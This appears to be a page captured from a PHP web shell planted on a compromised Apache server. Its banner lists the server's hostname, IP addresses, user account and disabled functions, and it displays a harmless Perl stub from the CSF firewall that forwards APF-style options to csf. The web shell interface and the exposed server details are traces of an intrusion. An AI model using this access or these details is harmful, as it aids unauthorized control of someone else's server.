shell bypass 403

GrazzMean Shell

: /usr/local/src/csf/ [ drwxr-xr-x ]
Uname: Linux server.thebazaar99.com 5.14.0-687.17.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 22 07:21:26 EDT 2026 x86_64
Software: Apache
PHP version: 8.3.32 [ PHP INFO ] PHP os: Linux
Server Ip: 163.227.92.254
Your Ip: 216.73.217.24
User: gutlooks (1003) | Group: gutlooks (1005)
Safe Mode: OFF
Disable Function:
exec,passthru,shell_exec,system

name : apf_stub.pl
#!/usr/bin/perl
use strict;
use warnings;

my @cmd = @ARGV;

if ($cmd[0] eq "-a" or $cmd[0] eq "--allow") {
	$cmd[0] = "--add";
	system("csf",@cmd);
}
elsif ($cmd[0] eq "-d" or $cmd[0] eq "--deny") {
	$cmd[0] = "--deny";
	system("csf",@cmd);
}
elsif ($cmd[0] eq "-u" or $cmd[0] eq "--remove" or $cmd[0] eq "--unban") {
	$cmd[1] =~ s/\^|\$//g;
	$cmd[0] = "--addrm";
	system("csf",@cmd);
	$cmd[0] = "--denyrm";
	system("csf",@cmd);
	$cmd[0] = "--temprm";
	system("csf",@cmd);
}
elsif ($cmd[0] eq "-s" or $cmd[0] eq "--start") {
	$cmd[0] = "--start";
	system("csf",@cmd);
}
elsif ($cmd[0] eq "-f" or $cmd[0] eq "--flush" or $cmd[0] eq "--stop") {
	$cmd[0] = "--stop";
	system("csf",@cmd);
}
elsif ($cmd[0] eq "-r" or $cmd[0] eq "--restart") {
	$cmd[0] = "--restart";
	system("csf",@cmd);
}
elsif ($cmd[0] eq "-l" or $cmd[0] eq "--list") {
	$cmd[0] = "--status";
	system("csf",@cmd);
} else {
	print "Unknown command, please use csf directly instead of this apf stub\n";
}

exit;
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